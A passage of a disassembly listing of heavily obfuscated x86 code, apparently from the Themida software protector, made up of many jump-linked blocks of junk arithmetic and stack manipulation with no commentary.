loc_56A3C1:				; CODE XREF: sub_56207C+B6C0j
		mov	bh, 6Eh
		jmp	loc_565C09
; ---------------------------------------------------------------------------


loc_56A3C8:				; CODE XREF: sub_56207C+3CABj
		mov	ebx, [esp+32h+var_34+2]
		add	esp, 4
		push	5B98h
		mov	[esp+32h+var_34+2], esi
		push	[esp+32h+var_30+2]
		pop	esi
		jmp	loc_566716
; ---------------------------------------------------------------------------


loc_56A3E0:				; DATA XREF: Themida_:0055E118o
		push	[esp+32h+var_34+2]
		push	[esp+36h+var_38+2]
		mov	ecx, [esp+3Ah+var_3C+2]
		jmp	loc_56594B
; ---------------------------------------------------------------------------


loc_56A3EE:				; CODE XREF: sub_56207C+FE32j
		not	dl
		mov	ah, dl
		mov	edx, [esp+3Ah+var_3C+2]
		add	esp, 4
		push	small 6431h
		mov	word ptr [esp+38h+var_38], cx
		push	ebx
		jmp	loc_56A57B
; ---------------------------------------------------------------------------


loc_56A409:				; CODE XREF: sub_56207C+8432j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+3Ch+var_3C]
		jmp	loc_56C3A4
; ---------------------------------------------------------------------------


loc_56A41F:				; CODE XREF: sub_56207C+3C0Bj
		pop	edx
		add	esp, 4
		push	36F3h
		mov	[esp+28h+var_28], esi
		push	679F424Bh
		pop	esi
		push	edi
		mov	edi, 679F424Bh
		mov	ebx, edi
		pop	edi
		push	eax
		push	edi
		push	700749B9h
		jmp	loc_564547
; ---------------------------------------------------------------------------


loc_56A446:				; CODE XREF: sub_56207C+86FFj
		mov	ecx, [esp+34h+var_34]
		push	eax
		jmp	loc_564152
; ---------------------------------------------------------------------------


loc_56A44F:				; CODE XREF: sub_56207C+CB3Aj
		dec	ebx
		inc	ebx
		sub	ebx, 2D4E0232h
		sub	eax, ebx
		pop	ebx
		jmp	loc_55EFE7
; ---------------------------------------------------------------------------


loc_56A45F:				; DATA XREF: Themida_:0055E2D8o
		mov	esp, [esp+34h+var_34]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56A467:				; CODE XREF: sub_56207C+C81Bj
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		mov	ah, dh
		pop	edx
		mov	cl, 7Ah
		sub	cl, ah
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		mov	dh, cl
		jmp	loc_56A3B1
; ---------------------------------------------------------------------------


loc_56A481:				; CODE XREF: sub_56207C+10295j
		mov	edi, 4
		jmp	loc_56B616
; ---------------------------------------------------------------------------


loc_56A48B:				; CODE XREF: sub_56207C+3AC5j
		push	ecx
		mov	ecx, edx
		mov	edi, ecx
		pop	ecx
		pop	edx
		jmp	loc_55F34F
; ---------------------------------------------------------------------------


loc_56A497:				; CODE XREF: sub_56207C+C3F4j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56A49C:				; CODE XREF: sub_56207C-75Dj
		push	ebx
		push	3381188Fh
		mov	ebx, [esp+1Ch+var_1C]
		sub	esp, 4
		mov	[esp+20h+var_20], ebp
		jmp	loc_56A409
; ---------------------------------------------------------------------------


loc_56A4B3:				; CODE XREF: sub_56207C-D9Aj
		sub	edx, esi
		add	edx, 6B602CA1h
		jmp	loc_570192
; ---------------------------------------------------------------------------


loc_56A4C0:				; CODE XREF: sub_56207C+287Aj
		pop	edx
		or	eax, eax
		jz	loc_5689FE
		push	dword ptr [edi+1Ch]
		push	3ACCh
		mov	[esp+0Ah+var_C+2], edx
		mov	edx, 1FAD3101h
		push	ebp
		jmp	loc_572555
; ---------------------------------------------------------------------------


loc_56A4DF:				; CODE XREF: sub_56207C+E496j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Eh+var_10+2]
		pop	esp
		mov	ebp, [esp+0Ah+var_C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp+12h+var_10+2]
		pop	edx
		pop	[esp+12h+var_14+2]
		pop	esp
		push	76DCh
		jmp	loc_56CABE
; ---------------------------------------------------------------------------


loc_56A515:				; CODE XREF: sub_56207C+52D4j
		push	ebx
		mov	ebx, 3EB3275h
		shr	ebx, 5
		sub	ebx, 407F30B5h
		jmp	loc_564CCE
; ---------------------------------------------------------------------------


loc_56A529:				; CODE XREF: sub_56207C+B2B9j
		push	edx
		jmp	loc_55FB8B
; ---------------------------------------------------------------------------


loc_56A52F:				; CODE XREF: sub_56207C+11150j
		mov	[esp+5Eh+var_60+2], ebx
		mov	bl, 0C4h
		xor	cl, bl
		jmp	loc_565294
; ---------------------------------------------------------------------------


loc_56A53B:				; CODE XREF: sub_56207C-9E0j
		pop	ebx
		xor	edx, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], edx
		xor	edx, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		mov	[esp+3Ch+var_3C], ebx
		push	2A16A675h
		push	[esp+40h+var_40]
		jmp	loc_55EAAC
; ---------------------------------------------------------------------------


loc_56A558:				; CODE XREF: sub_56207C+B035j
		mov	[esp+44h+var_44], ebx
		sub	esp, 4
		mov	[esp+48h+var_48], esp
		push	ecx
		mov	ecx, 4
		sub	[esp+4Ch+var_48], 5E576245h
		add	[esp+4Ch+var_48], ecx
		jmp	loc_569FF1
; ---------------------------------------------------------------------------


loc_56A57B:				; CODE XREF: sub_56207C+8388j
		mov	bl, 9Eh
		not	bl
		push	eax
		mov	ah, 3
		jmp	loc_565D57
; ---------------------------------------------------------------------------


loc_56A587:				; CODE XREF: sub_56207C+C746j
		pop	ebx
		jmp	loc_5702C9
; ---------------------------------------------------------------------------


loc_56A58D:				; CODE XREF: sub_56207C-E09j
		mov	edx, esp
		jmp	loc_56373F
; ---------------------------------------------------------------------------


loc_56A594:				; CODE XREF: sub_56207C+4DF1j
		add	[esp+2Eh+var_2C+2], esi
		add	[esp+2Eh+var_2C+2], 28D54F39h
		push	[esp+2Eh+var_30+2]
		mov	esi, [esp+32h+var_34+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+36h+var_38+2]
		jmp	loc_56C6ED
; ---------------------------------------------------------------------------


loc_56A5BA:				; CODE XREF: sub_56207C+4ABCj
		push	edx
		mov	edx, 4
		jmp	loc_563CEE
; ---------------------------------------------------------------------------


loc_56A5C5:				; CODE XREF: sub_56207C+7984j
		sub	edx, esi
		add	edx, 2E690B9Ah
		add	edx, 6687187Dh
		jmp	loc_5716AC
; ---------------------------------------------------------------------------


loc_56A5D8:				; CODE XREF: sub_56207C+E0AFj
		push	3BBE3475h
		pop	ebx
		jmp	loc_56C696
; ---------------------------------------------------------------------------


loc_56A5E3:				; CODE XREF: sub_56207C-312Bj
		pop	[esp+28h+var_28]
		mov	esp, [esp+24h+var_24]
		add	bl, 67h
		sub	bl, al
		push	7DFh
		mov	[esp+28h+var_28], eax
		jmp	loc_55F35C
; ---------------------------------------------------------------------------


loc_56A5FB:				; CODE XREF: sub_56207C+80F4j
		add	esi, 24140136h
		jmp	loc_566B14
; ---------------------------------------------------------------------------


loc_56A606:				; CODE XREF: sub_56207C+8AEDj
		push	ebp
		push	324F130Bh
		pop	ebp
		add	eax, ebp
		mov	ebp, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_563565
; ---------------------------------------------------------------------------


loc_56A61D:				; CODE XREF: sub_56207C+102E7j
		add	edi, esi
		pop	esi
		jmp	loc_565888
; ---------------------------------------------------------------------------


loc_56A625:				; CODE XREF: sub_56207C+EBB4j
		sub	eax, 74CF458Bh
		add	eax, 28BF4526h
		push	[esp+20h+var_20]
		pop	ebx
		add	esp, 4
		add	ebx, 48E24262h
		push	4F5Ah
		mov	[esp+20h+var_20], edi
		mov	edi, 0EFD55D7h
		add	edi, 28135C8Bh
		and	edi, 51353F5Fh
		and	edi, 45516369h
		and	edi, 464D343Ah
		add	edi, 159F1EDBh
		add	ebx, edi
		jmp	loc_5678A9
; ---------------------------------------------------------------------------


loc_56A66E:				; CODE XREF: sub_56207C+7960j
		add	esp, 4
		push	[esp+2Eh+var_30+2]
		mov	eax, [esp+32h+var_34+2]
		add	esp, 4
		push	612Eh
		jmp	loc_565A81
; ---------------------------------------------------------------------------


loc_56A68A:				; CODE XREF: sub_56207C+AF45j
		push	ebx
		mov	ebx, 0A7F2E61h
		jmp	loc_56FB36
; ---------------------------------------------------------------------------


loc_56A695:				; CODE XREF: sub_56207C+2964j
		and	edx, 1CF02A6Fh
		shl	edx, 4
		add	edx, 22134B03h
		add	edi, edx
		pop	edx
		add	ebx, 6433265Eh
		jmp	loc_5640EC
; ---------------------------------------------------------------------------


loc_56A6B2:				; CODE XREF: sub_56207C+79E7j
		xchg	ebx, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], ebx
		mov	ebx, 2
		add	ebp, 3A1A4A46h
		add	ebp, ebx
		sub	ebp, 3A1A4A46h
		jmp	loc_565857
; ---------------------------------------------------------------------------


loc_56A6D1:				; CODE XREF: sub_56207C+4090j
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+34h+var_34], edx
		push	ebx
		mov	ebx, 4
		jmp	loc_56432C
; ---------------------------------------------------------------------------


loc_56A6E8:				; CODE XREF: sub_56207C+7B9j
		mov	ebp, [esp+14h+var_14]
		jmp	loc_568C14
; ---------------------------------------------------------------------------


loc_56A6F0:				; CODE XREF: sub_56207C+1C87j
		xor	ebx, [esp+28h+var_28]
		pop	esp
		bt	word ptr [esp+24h+var_24], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56A6FF:				; CODE XREF: sub_56207C+12D4j
		xor	edi, [esp+2Ch+var_2C]
		xor	[esp+2Ch+var_2C], edi
		jmp	loc_566CDF
; ---------------------------------------------------------------------------


loc_56A70A:				; CODE XREF: sub_56207C+3C64j
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], ebp
		xor	ebp, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		mul	cx
		push	small 1EF1h
		mov	word ptr [esp+18h+var_18], dx
		jmp	loc_572DB3
; ---------------------------------------------------------------------------


loc_56A72F:				; CODE XREF: sub_56207C+1AFAj
		pop	ebx
		xchg	ecx, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_24+2], ebp
		jmp	loc_55F243
; ---------------------------------------------------------------------------


loc_56A73C:				; CODE XREF: sub_56207C+8105j
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		push	edx
		mov	edx, esp
		push	edi
		sub	esp, 4
		jmp	loc_571E0A
; ---------------------------------------------------------------------------


loc_56A74F:				; CODE XREF: sub_56207C-1B02j
		xor	ecx, 3781623Ah
		mov	ebx, ecx
		pop	ecx
		add	eax, ebx
		jmp	loc_566506
; ---------------------------------------------------------------------------


loc_56A75F:				; CODE XREF: sub_56207C-22CFj
		push	740Eh
		jmp	loc_5651B4
; ---------------------------------------------------------------------------


loc_56A769:				; CODE XREF: sub_56207C+10795j
		push	[esp+2Ch+var_28]
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_55FB9A
; ---------------------------------------------------------------------------


loc_56A778:				; CODE XREF: sub_56207C+B85Dj
					; DATA XREF: Themida_:0055E0E0o
		push	[esp+2Ch+var_2C]
		jmp	loc_56A446
; ---------------------------------------------------------------------------


loc_56A780:				; CODE XREF: sub_56207C+110E6j
		mov	ebx, 4CE90328h
		sub	edi, ebx
		jmp	loc_563806
; ---------------------------------------------------------------------------


loc_56A78C:				; CODE XREF: sub_56207C+3F79j
		mov	edx, 7DB550BFh
		add	edx, 824AAF45h
		add	eax, edx
		jmp	loc_57114C
; ---------------------------------------------------------------------------


loc_56A79E:				; CODE XREF: sub_56207C-2386j
		sub	esi, 94A2B0E7h
		mov	ecx, 28DF5BDDh
		xor	ecx, esi
		jmp	loc_56C38E
; ---------------------------------------------------------------------------


loc_56A7B0:				; CODE XREF: sub_56207C+F005j
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+20h+var_20]
		pop	esp
		jmp	loc_5646AC
; ---------------------------------------------------------------------------


loc_56A7C3:				; CODE XREF: sub_56207C-2A68j
		add	esi, ecx
		sub	esi, 47E12F24h
		sub	esi, 69C327F8h
		mov	ecx, [esp+20h+var_20]
		add	esp, 4
		jmp	loc_573246
; ---------------------------------------------------------------------------


loc_56A7DF:				; CODE XREF: sub_56207C-2835j
		mov	edx, esp
		jmp	loc_55FE71
; ---------------------------------------------------------------------------


loc_56A7E6:				; CODE XREF: sub_56207C+10A14j
		shl	ebx, 4
		or	ebx, 79D3446Bh
		jmp	loc_56745A
; ---------------------------------------------------------------------------


loc_56A7F4:				; CODE XREF: sub_56207C-804j
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 2
		add	esi, eax
		pop	eax
		xchg	esi, [esp+2Ah+var_2C+2]
		pop	esp
		add	bl, 98h
		jmp	loc_56960F
; ---------------------------------------------------------------------------


loc_56A811:				; CODE XREF: sub_56207C+C145j
		xor	ebx, 0D40BBC5Ch
		mov	esi, 0D2B3CC5Fh
		add	esi, ebx
		pop	ebx
		add	edx, 5EAE02B4h
		sub	edx, 6DCD43F4h
		add	edx, esi
		add	edx, 6DCD43F4h
		jmp	loc_560D5F
; ---------------------------------------------------------------------------


loc_56A838:				; CODE XREF: sub_56207C+DFC0j
		xor	ecx, [esp+22h+var_24+2]
		pop	esp
		add	edx, 4
		push	edx
		push	[esp+22h+var_20+2]
		pop	edx
		pop	[esp+22h+var_24+2]
		pop	esp
		jmp	loc_5690A5
; ---------------------------------------------------------------------------


loc_56A84E:				; CODE XREF: sub_56207C+BC99j
		mov	esp, [esp+1Ah+var_1C+2]
		jmp	sub_55E656
; ---------------------------------------------------------------------------


loc_56A856:				; CODE XREF: sub_56207C+E5C5j
		shl	edx, 6
		add	edx, 226B3E2Ah
		jmp	loc_56731C
; ---------------------------------------------------------------------------


loc_56A864:				; CODE XREF: sub_56207C+14D7j
		push	ecx
		push	edi
		push	7842674Ah
		jmp	loc_56ABFD
; ---------------------------------------------------------------------------


loc_56A870:				; CODE XREF: sub_56207C+A49Aj
		shl	edx, 1
		jmp	loc_560706
; ---------------------------------------------------------------------------


loc_56A877:				; CODE XREF: sub_56207C+1071Fj
		pop	ebx
		mov	ebx, esi
		pop	esi
		shl	ebx, 8
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+38h+var_38]
		jmp	loc_5674D7
; ---------------------------------------------------------------------------


loc_56A891:				; CODE XREF: sub_56207C+7DD9j
		mov	ebp, 6FFC1593h
		and	ebp, 6D865DFDh
		shr	ebp, 7
		add	ebp, 388A4AE7h
		xor	ebp, 15660F70h
		add	edi, ebp
		pop	ebp
		push	edi
		mov	esi, [esp+40h+var_40]
		add	esp, 4
		pop	edi
		add	ecx, 5BE313C8h
		add	ecx, esi
		jmp	loc_5624A1
; ---------------------------------------------------------------------------


loc_56A8C6:				; CODE XREF: sub_56207C+3DFCj
		add	eax, 645361F4h
		jmp	loc_566423
; ---------------------------------------------------------------------------


loc_56A8D0:				; CODE XREF: sub_56207C+C862j
		sub	ebp, 1D002C68h
		xor	ebp, 4BB33809h
		jmp	loc_565131
; ---------------------------------------------------------------------------


loc_56A8E1:				; CODE XREF: sub_56207C+10A5Dj
		mov	[esp+0Eh+var_10+2], edx
		xchg	esi, [esp+0Eh+var_10+2]
		jmp	loc_56EBC6
; ---------------------------------------------------------------------------


loc_56A8EC:				; CODE XREF: sub_56207C+D9BAj
		mov	[esp+0Eh+var_10+2], esi
		push	ebp
		jmp	loc_56E5D7
; ---------------------------------------------------------------------------


loc_56A8F5:				; CODE XREF: sub_56207C+5F37j
		pop	ecx
		pop	edi
		jmp	loc_5669C1
; ---------------------------------------------------------------------------


loc_56A8FC:				; CODE XREF: sub_56207C+FD64j
		pop	edx
		add	edx, 32D1CFB5h
		jmp	loc_572E7E
; ---------------------------------------------------------------------------


loc_56A908:				; CODE XREF: sub_56207C+5DA6j
		push	ebp
		jmp	loc_55F629
; ---------------------------------------------------------------------------


loc_56A90E:				; CODE XREF: sub_56207C+9C58j
		mov	[esp+16h+var_18+2], ebx
		mov	ebx, 351A22DCh
		push	eax
		push	1
		jmp	loc_55E6CB
; ---------------------------------------------------------------------------


loc_56A921:				; CODE XREF: sub_56207C+7370j
		add	ebp, ecx
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		push	eax
		jmp	loc_5636EF
; ---------------------------------------------------------------------------


loc_56A92F:				; CODE XREF: sub_56207C+93BDj
		sub	eax, 427FB67h
		or	edx, eax
		push	[esp+26h+var_28+2]
		jmp	loc_56A12A
; ---------------------------------------------------------------------------


loc_56A93E:				; DATA XREF: Themida_:0055E340o
		mov	ax, word ptr [esp+2Ah+var_2C+2]
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esi
		jmp	loc_564DE9
; ---------------------------------------------------------------------------


loc_56A94D:				; CODE XREF: sub_56207C-31ACj
		push	ebp
		mov	ebp, 4
		add	edi, 754702E7h
		add	edi, ebp
		sub	edi, 754702E7h
		pop	ebp
		jmp	loc_56486F
; ---------------------------------------------------------------------------


loc_56A967:				; CODE XREF: sub_56207C+EAF1j
		add	esp, 4
		add	ecx, 30872E59h
		add	ecx, edx
		sub	ecx, 30872E59h
		pop	edx
		add	ecx, edi
		jmp	loc_572B7D
; ---------------------------------------------------------------------------


loc_56A983:				; CODE XREF: sub_56207C+2F2Aj
		mov	[esp+50h+var_50], edx
		sub	esp, 4
		mov	[esp+54h+var_54], ecx
		mov	ecx, 37397C80h
		jmp	loc_570A7D
; ---------------------------------------------------------------------------


loc_56A996:				; CODE XREF: sub_56207C+B62Ej
		add	ecx, edi
		add	ecx, 207A049Fh
		pop	edi
		push	5552h
		mov	[esp+54h+var_54], esi
		push	esp
		jmp	loc_568EB8
; ---------------------------------------------------------------------------


loc_56A9AD:				; CODE XREF: sub_56207C+C3BDj
		mov	eax, [esp+58h+var_58]
		add	esp, 4
		add	ecx, esi
		mov	esi, [esp+54h+var_54]
		add	esp, 4
		jmp	loc_56990E
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+50h+var_50]
		sub	esp, 4
		mov	[esp+54h+var_54], edi
		push	esp
		pop	edi
		push	ecx
		push	36Bh
		mov	[esp+5Ch+var_5C], esp
		add	[esp+5Ch+var_5C], 4
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		mov	[esp+58h+var_58], ebx
		jmp	loc_55EA8D
; ---------------------------------------------------------------------------


loc_56A9FA:				; CODE XREF: sub_56207C+2C6Bj
		add	ebx, 4
		jmp	loc_56E9EE
; ---------------------------------------------------------------------------


loc_56AA02:				; CODE XREF: sub_56207C+27F4j
		push	[esp+20h+var_1C]
		pop	edi
		pop	[esp+20h+var_20]
		jmp	loc_568964
; ---------------------------------------------------------------------------


loc_56AA0F:				; CODE XREF: sub_56207C+4E0Bj
		and	edi, 14473DAFh
		sub	edi, 0FFFFFFFFh
		sub	edi, 10421D03h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_560C91
; ---------------------------------------------------------------------------


loc_56AA2F:				; DATA XREF: Themida_:0055E1E0o
		push	[esp+26h+var_28+2]
		mov	eax, [esp+2Ah+var_2C+2]
		jmp	loc_5721BF
; ---------------------------------------------------------------------------


loc_56AA3A:				; CODE XREF: sub_56207C-3747j
		mov	edx, 0F4E0F35h
		push	eax
		mov	eax, 56DF562Ah
		shl	eax, 7
		sub	eax, 55896318h
		xor	eax, 6EED5110h
		inc	eax
		add	eax, 23402B09h
		add	eax, 0E18055CAh
		add	ebx, eax
		pop	eax
		sub	ebx, 1AE673E1h
		add	ebx, edx
		add	ebx, 1AE673E1h
		push	edi
		mov	edi, 332E34AAh
		or	edi, 220C7470h
		or	edi, 14D74BE7h
		jmp	loc_569C37
; ---------------------------------------------------------------------------


loc_56AA85:				; CODE XREF: sub_56207C-1314j
		mov	esi, [esp+30h+var_30]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56E025
; ---------------------------------------------------------------------------


loc_56AA95:				; CODE XREF: sub_56207C+A797j
		push	[esp+34h+var_30]
		pop	ecx
		jmp	loc_564DD1
; ---------------------------------------------------------------------------


loc_56AA9F:				; CODE XREF: sub_55ED7B+Fj
		mov	dl, bh
		pop	ebx
		jmp	loc_56630F
; ---------------------------------------------------------------------------


loc_56AAA7:				; CODE XREF: sub_56207C+20E9j
		add	[esp+3Ch+var_3C], 4
		pop	eax
		jmp	loc_565170
; ---------------------------------------------------------------------------


loc_56AAB1:				; CODE XREF: sub_56207C+91AAj
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+38h+var_38]
		jmp	loc_56379C
; ---------------------------------------------------------------------------


loc_56AACD:				; CODE XREF: sub_56207C+9264j
		pop	esp
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56AAD3:				; CODE XREF: sub_56207C-882j
		pop	esi
		sub	esp, 4
		mov	[esp+26h+var_28+2], esi
		push	ebp
		mov	ebp, 7F737B9h
		add	[esp+2Ah+var_28+2], 1FC13623h
		sub	[esp+2Ah+var_28+2], 36B001A9h
		sub	[esp+2Ah+var_28+2], ebp
		add	[esp+2Ah+var_28+2], 36B001A9h
		sub	[esp+2Ah+var_28+2], 1FC13623h
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		mov	ebx, [esp+26h+var_28+2]
		add	esp, 4
		push	5E41h
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 3D4E6747h
		shr	ebp, 6
		sub	ebp, 0F8FE01E4h
		sub	ebx, 63B80F89h
		add	ebx, ebp
		add	ebx, 63B80F89h
		pop	ebp
		mov	esi, [esp+22h+var_24+2]
		add	esp, 4
		push	212h
		mov	[esp+22h+var_24+2], eax
		mov	eax, 0DF64B6h
		sub	ebx, eax
		pop	eax
		sub	ebx, 3A475989h
		jmp	loc_5685C5
; ---------------------------------------------------------------------------


loc_56AB59:				; CODE XREF: sub_56207C+A418j
		add	eax, ebp
		push	[esp+1Eh+var_20+2]
		pop	ebp
		add	esp, 4
		sub	eax, 324F130Bh
		sub	eax, ebx
		jmp	loc_56A606
; ---------------------------------------------------------------------------


loc_56AB6E:				; CODE XREF: sub_56207C+311Aj
		mov	edi, ebp
		pop	ebp
		add	edi, 0F38DC285h
		jmp	loc_568AF6
; ---------------------------------------------------------------------------


loc_56AB7C:				; CODE XREF: sub_56207C+935Bj
		push	ecx
		mov	ecx, 2C800154h
		jmp	loc_56F6DE
; ---------------------------------------------------------------------------


loc_56AB87:				; CODE XREF: sub_56207C+DA9Ej
		add	esp, 4
		jmp	loc_563F55
; ---------------------------------------------------------------------------


loc_56AB8F:				; DATA XREF: Themida_:0055E100o
		mov	cx, word ptr [esp+1Ch+var_1C]
		jmp	loc_55F0F6
; ---------------------------------------------------------------------------


loc_56AB98:				; CODE XREF: sub_56207C+9641j
		xor	edx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_56E0E2
; ---------------------------------------------------------------------------


loc_56ABA3:				; CODE XREF: sub_56207C-D67j
		push	ebp
		jmp	loc_57130B
; ---------------------------------------------------------------------------


loc_56ABA9:				; CODE XREF: sub_56207C+223j
		xor	al, dh
		mov	edx, [esp+20h+var_20]
		push	4375h
		mov	[esp+24h+var_24], edx
		push	esp
		mov	edx, [esp+28h+var_28]
		add	esp, 4
		push	57Fh
		mov	[esp+28h+var_28], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_55EF48
; ---------------------------------------------------------------------------


loc_56ABDA:				; CODE XREF: sub_56207C+297j
		pop	esp
		push	[esp+12h+var_14+2]
		mov	ecx, [esp+16h+var_18+2]
		push	0FBFh
		mov	[esp+1Ah+var_1C+2], eax
		jmp	loc_55FA63
; ---------------------------------------------------------------------------


loc_56ABEE:				; CODE XREF: sub_56207C+9C20j
		pop	ebp
		pop	ecx
		push	292h
		mov	[esp+16h+var_18+2], edx
		jmp	loc_561490
; ---------------------------------------------------------------------------


loc_56ABFD:				; CODE XREF: sub_56207C+87EFj
		pop	edi
		jmp	loc_56C328
; ---------------------------------------------------------------------------


loc_56AC03:				; CODE XREF: sub_56207C+945Cj
		push	ebp
		mov	ebp, 9FD6723h
		xor	ebp, 1AB03DC2h
		not	ebp
		dec	ebp
		add	ebp, 3C7C32B4h
		jmp	loc_5615AF
; ---------------------------------------------------------------------------


loc_56AC1D:				; CODE XREF: sub_56207C+B10Bj
		shl	edi, 6
		jmp	loc_56FE0D
; ---------------------------------------------------------------------------


loc_56AC25:				; CODE XREF: sub_56207C-35F4j
		mov	edx, 6A1028ADh
		xor	ebp, edx
		jmp	loc_55FF67
; ---------------------------------------------------------------------------


loc_56AC31:				; CODE XREF: sub_56207C+A37Bj
		inc	ecx
		add	ecx, 0EFD521C2h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_569840
; ---------------------------------------------------------------------------


loc_56AC40:				; CODE XREF: sub_56207C+EAC0j
		xor	bh, 3Bh
		sub	al, bh
		jmp	loc_566E2A
; ---------------------------------------------------------------------------


loc_56AC4A:				; CODE XREF: sub_56207C+CFAFj
		and	eax, edx
		push	[esp+26h+var_28+2]
		push	[esp+2Ah+var_2C+2]
		pop	edx
		add	esp, 4
		push	6E6Fh
		mov	[esp+2Ah+var_2C+2], eax
		push	esp
		mov	eax, [esp+2Eh+var_30+2]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 83B3287h
		jmp	loc_55EC76
; ---------------------------------------------------------------------------


loc_56AC73:				; CODE XREF: sub_56207C-1E8Aj
		or	eax, eax
		jnz	loc_56974D
		push	6E1Fh
		mov	[esp+1Ah+var_1C+2], ebp
		push	1267h
		jmp	loc_56E6D5
; ---------------------------------------------------------------------------


loc_56AC8D:				; CODE XREF: sub_56207C+10167j
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, esp
		push	21D3h
		mov	[esp+22h+var_24+2], edi
		jmp	loc_56FFAF
; ---------------------------------------------------------------------------


loc_56AC9F:				; CODE XREF: sub_56207C+CB2Fj
		xor	edx, ebp
		pop	ebp
		add	edx, 2D73B671h
		sub	ecx, 37FE4263h
		push	eax
		mov	eax, 32812349h
		inc	eax
		xor	eax, 72E71B00h
		shr	eax, 2
		push	ebp
		mov	ebp, 71BA3AE6h
		or	ebp, 283B6A7Bh
		sub	ebp, 6CDB1707h
		xor	ebp, 23C29F2Fh
		xor	eax, ebp
		jmp	loc_56D3A8
; ---------------------------------------------------------------------------


loc_56ACDC:				; CODE XREF: sub_56207C+5D0Fj
		pop	eax
		neg	eax
		xor	eax, 4CC03831h
		add	eax, 60B27F3Dh
		mov	edi, eax
		pop	eax
		shr	edi, 1
		push	eax
		push	3904h
		mov	[esp+70h+var_70], ebx
		mov	ebx, 727B1275h
		mov	eax, 92A42798h
		add	eax, 6493A00h
		add	eax, ebx
		sub	eax, 6493A00h
		pop	ebx
		xor	edi, eax
		jmp	loc_568815
; ---------------------------------------------------------------------------


loc_56AD15:				; CODE XREF: sub_56207C+BA75j
		push	600Ah
		jmp	loc_564B4E
; ---------------------------------------------------------------------------


loc_56AD1F:				; CODE XREF: sub_56207C+D291j
		mov	eax, [esp+70h+var_70]
		add	esp, 4
		xor	esi, [esp+6Ch+var_6C]
		jmp	loc_56F45C
; ---------------------------------------------------------------------------


loc_56AD2D:				; CODE XREF: sub_56207C+C40Bj
		mov	[esp+6Ch+var_6C], esi
		jmp	loc_561F03
; ---------------------------------------------------------------------------


loc_56AD35:				; CODE XREF: sub_56207C+3C50j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56B6CB
; ---------------------------------------------------------------------------


loc_56AD45:				; CODE XREF: sub_56207C+9103j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56AD4A:				; CODE XREF: sub_56207C+8304j
		push	7E64h
		jmp	loc_568A0D
; ---------------------------------------------------------------------------


loc_56AD54:				; CODE XREF: sub_56207C+B5B9j
		add	esp, 4
		pop	edi
		jmp	loc_5617E8
; ---------------------------------------------------------------------------


loc_56AD5D:				; CODE XREF: sub_56207C+388Bj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+42h+var_44+2]
		pop	esp
		mov	ebp, 78C033DAh
		jmp	loc_5726DC
; ---------------------------------------------------------------------------


loc_56AD77:				; CODE XREF: sub_56207C+5C85j
		push	ecx
		mov	ch, bl
		mov	al, ch
		pop	ecx
		pop	ebx
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		mov	[ebx], al
		pop	ebx
		pop	eax
		push	[esp+42h+var_44+2]
		jmp	loc_56FD1D
; ---------------------------------------------------------------------------


loc_56AD92:				; CODE XREF: sub_56207C+1631j
		mov	esi, [esp+42h+var_44+2]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp+46h+var_48+2], edx
		push	ebx
		mov	ebx, 40595C8Ch
		mov	edx, ebx
		pop	ebx
		mov	ecx, 7A656359h
		jmp	loc_56D829
; ---------------------------------------------------------------------------


loc_56ADB8:				; CODE XREF: sub_56207C+103A0j
		add	ecx, 25A38A7h
		jmp	loc_5712F5
; ---------------------------------------------------------------------------


loc_56ADC3:				; CODE XREF: sub_56207C-432j
		xchg	esi, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], esi
		push	5AD6h
		mov	[esp+3Ch+var_3C], esp
		jmp	loc_5636A6
